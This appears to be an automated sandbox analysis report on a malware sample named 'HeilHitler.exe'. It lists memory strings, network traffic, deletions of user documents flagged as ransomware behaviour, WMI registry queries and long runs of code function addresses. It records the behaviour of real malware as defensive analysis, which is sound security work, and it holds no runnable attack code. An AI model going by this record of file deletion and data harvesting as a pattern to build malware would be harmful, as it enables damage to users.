Source: HeilHitler.exe, 00000001.00000003.1723565686.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1730926379.000001BD4367B000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43737000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718513847.000001BD436DA000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1724146953.000001BD436E7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1720857356.000001BD43737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HeilHitler.exe, 00000001.00000003.1741897379.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: HeilHitler.exe, 00000001.00000003.1723565686.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43737000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1720857356.000001BD43737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: HeilHitler.exe, 00000001.00000003.1741897379.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: HeilHitler.exe, 00000001.00000003.1718513847.000001BD436DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=b0
Source: HeilHitler.exe, 00000001.00000003.1754056720.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1906535342.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018689250.000001BD4366B000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD437DF000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750287762.000001BD437DF000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907735236.000001BD43666000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1746940897.000001BD437DF000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2030610587.000001BD4366E000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1733099301.000001BD437E1000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750052219.000001BD437DF000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031557342.000001BD43A30000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2030858383.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2019563496.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1749581142.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1742219198.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907250502.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1756378160.000001BD437DF000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1739607495.000001BD43709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c
Source: HeilHitler.exe, 00000001.00000003.1754056720.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1749581142.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1742219198.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1739607495.000001BD43709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c0
Source: HeilHitler.exe, 00000001.00000003.1742219198.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1739607495.000001BD43709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c0C
Source: HeilHitler.exe, 00000001.00000003.1723565686.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1741897379.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43737000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718377608.000001BD43757000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1720857356.000001BD43737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: HeilHitler.exe, 00000001.00000002.2030858383.000001BD43709000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2019563496.000001BD43709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_cr
Source: HeilHitler.exe, 00000001.00000003.1754435836.000001BD4364F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1730926379.000001BD4364F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon-196x196.2af054fea211.png
Source: HeilHitler.exe, 00000001.00000003.1742219198.000001BD436E7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1739607495.000001BD436E7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1718513847.000001BD436E7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1754435836.000001BD4364F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1724146953.000001BD436E7000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1730926379.000001BD4364F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: HeilHitler.exe, 00000001.00000003.1741897379.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1751574081.000001BD4379F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: HeilHitler.exe, 00000001.00000002.2032925274.000001BD44538000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: HeilHitler.exe, 00000000.00000003.1679683243.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmp, HeilHitler.exe, 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmp, libssl-1_1.dll.0.dr, libcrypto-1_1.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: HeilHitler.exe, 00000000.00000003.1678922666.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: HeilHitler.exe, 00000001.00000002.2022974911.000001BD42BF0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: HeilHitler.exe, 00000001.00000002.2027310965.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD4348C000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD43498000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: HeilHitler.exe, 00000001.00000002.2031849271.000001BD43C7C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: HeilHitler.exe, 00000001.00000003.1907250502.000001BD43701000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CC4000.00000004.00001000.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2019563496.000001BD43701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: HeilHitler.exe, 00000001.00000002.2024405519.000001BD43090000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1752805888.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2027310965.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1723921949.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1763679896.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.2018427043.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1907543224.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717805882.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1750384495.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1717535771.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1732575141.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1748948213.000001BD43091000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000003.1737287565.000001BD434BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50937
Source: unknown	Network traffic detected: HTTP traffic on port 50937 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\HeilHitler.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?\Common Files\Desktop\ONBQCLYSPU.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?\Common Files\Desktop\KZWFNRXYKI.mp3	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?\Common Files\Desktop\KZWFNRXYKI.mp3	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?\Common Files\Desktop\XZXHAVGRAG.docx	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ?? ?\Common Files\Desktop\KATAXZVCPS.png	Jump to behavior

Source: cmd.exe

Process created: 49

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C1D2C0: CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

68_2_00007FF702C1D2C0

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C4B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

68_2_00007FF702C4B57C

Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D689E0	0_2_00007FF633D689E0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D86964	0_2_00007FF633D86964
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D61000	0_2_00007FF633D61000
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D75D30	0_2_00007FF633D75D30
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D6ACAD	0_2_00007FF633D6ACAD
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D6A47B	0_2_00007FF633D6A47B
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D86418	0_2_00007FF633D86418
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D808C8	0_2_00007FF633D808C8
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D85C00	0_2_00007FF633D85C00
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D72C10	0_2_00007FF633D72C10
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D83C10	0_2_00007FF633D83C10
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D71B50	0_2_00007FF633D71B50
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D6A2DB	0_2_00007FF633D6A2DB
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D7DA5C	0_2_00007FF633D7DA5C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D739A4	0_2_00007FF633D739A4
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D72164	0_2_00007FF633D72164
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D71944	0_2_00007FF633D71944
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D780E4	0_2_00007FF633D780E4
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D808C8	0_2_00007FF633D808C8
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D840AC	0_2_00007FF633D840AC
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D81874	0_2_00007FF633D81874
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D69800	0_2_00007FF633D69800
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D78794	0_2_00007FF633D78794
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D71F60	0_2_00007FF633D71F60
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D71740	0_2_00007FF633D71740
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D89728	0_2_00007FF633D89728
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D7DEF0	0_2_00007FF633D7DEF0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D79EA0	0_2_00007FF633D79EA0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D85E7C	0_2_00007FF633D85E7C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D735A0	0_2_00007FF633D735A0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D7E570	0_2_00007FF633D7E570
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D71D54	0_2_00007FF633D71D54
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D6A2DB	1_2_00007FF633D6A2DB
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D86964	1_2_00007FF633D86964
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D61000	1_2_00007FF633D61000
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D75D30	1_2_00007FF633D75D30
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D6ACAD	1_2_00007FF633D6ACAD
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D6A47B	1_2_00007FF633D6A47B
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D86418	1_2_00007FF633D86418
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D808C8	1_2_00007FF633D808C8
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D85C00	1_2_00007FF633D85C00
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D72C10	1_2_00007FF633D72C10
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D83C10	1_2_00007FF633D83C10
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D71B50	1_2_00007FF633D71B50
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D7DA5C	1_2_00007FF633D7DA5C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D689E0	1_2_00007FF633D689E0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D739A4	1_2_00007FF633D739A4
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D72164	1_2_00007FF633D72164
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D71944	1_2_00007FF633D71944
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D780E4	1_2_00007FF633D780E4
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D808C8	1_2_00007FF633D808C8
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D840AC	1_2_00007FF633D840AC
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D81874	1_2_00007FF633D81874
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D69800	1_2_00007FF633D69800
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D78794	1_2_00007FF633D78794
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D71F60	1_2_00007FF633D71F60
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D71740	1_2_00007FF633D71740
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D89728	1_2_00007FF633D89728
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D7DEF0	1_2_00007FF633D7DEF0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D79EA0	1_2_00007FF633D79EA0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D85E7C	1_2_00007FF633D85E7C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D735A0	1_2_00007FF633D735A0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D7E570	1_2_00007FF633D7E570
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D71D54	1_2_00007FF633D71D54
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAD61880	1_2_00007FFDFAD61880
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8B370	1_2_00007FFDFAE8B370
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81451	1_2_00007FFDFAE81451
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8F905	1_2_00007FFDFAE8F905
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81398	1_2_00007FFDFAE81398
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF31940	1_2_00007FFDFAF31940
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAECFEB0	1_2_00007FFDFAECFEB0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81C99	1_2_00007FFDFAE81C99
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8199C	1_2_00007FFDFAE8199C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81A8C	1_2_00007FFDFAE81A8C
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE91230	1_2_00007FFDFAE91230
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8114F	1_2_00007FFDFAE8114F
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE813F2	1_2_00007FFDFAE813F2
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE86BB0	1_2_00007FFDFAE86BB0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81537	1_2_00007FFDFAE81537
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAEE0880	1_2_00007FFDFAEE0880
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE815B4	1_2_00007FFDFAE815B4
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8115E	1_2_00007FFDFAE8115E
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAEE0F80	1_2_00007FFDFAEE0F80
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE820B3	1_2_00007FFDFAE820B3
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81BE0	1_2_00007FFDFAE81BE0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8168B	1_2_00007FFDFAE8168B
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE82572	1_2_00007FFDFAE82572
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE81DD4	1_2_00007FFDFAE81DD4
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAE8195B	1_2_00007FFDFAE8195B
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAEE81C0	1_2_00007FFDFAEE81C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB293230	1_2_00007FFDFB293230
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF430C1	1_2_00007FFDFAF430C1
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB077AF0	1_2_00007FFDFB077AF0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB0E39D0	1_2_00007FFDFB0E39D0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB0F7A10	1_2_00007FFDFB0F7A10
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF44165	1_2_00007FFDFAF44165
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43FDA	1_2_00007FFDFAF43FDA
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF4655A	1_2_00007FFDFAF4655A
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF46A82	1_2_00007FFDFAF46A82
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF44C37	1_2_00007FFDFAF44C37
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF5BF20	1_2_00007FFDFAF5BF20
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF5BD60	1_2_00007FFDFAF5BD60
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF42289	1_2_00007FFDFAF42289
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF42766	1_2_00007FFDFAF42766
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB06FE30	1_2_00007FFDFB06FE30
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF432E7	1_2_00007FFDFAF432E7
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43B93	1_2_00007FFDFAF43B93
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFB077310	1_2_00007FFDFB077310
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45169	1_2_00007FFDFAF45169
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF45D85	1_2_00007FFDFAF45D85
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF4114F	1_2_00007FFDFAF4114F
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF6B1C0	1_2_00007FFDFAF6B1C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF5F200	1_2_00007FFDFAF5F200
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF5F060	1_2_00007FFDFAF5F060
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF429CD	1_2_00007FFDFAF429CD
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF46CB7	1_2_00007FFDFAF46CB7
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF421B7	1_2_00007FFDFAF421B7
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF4609B	1_2_00007FFDFAF4609B
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF46F23	1_2_00007FFDFAF46F23
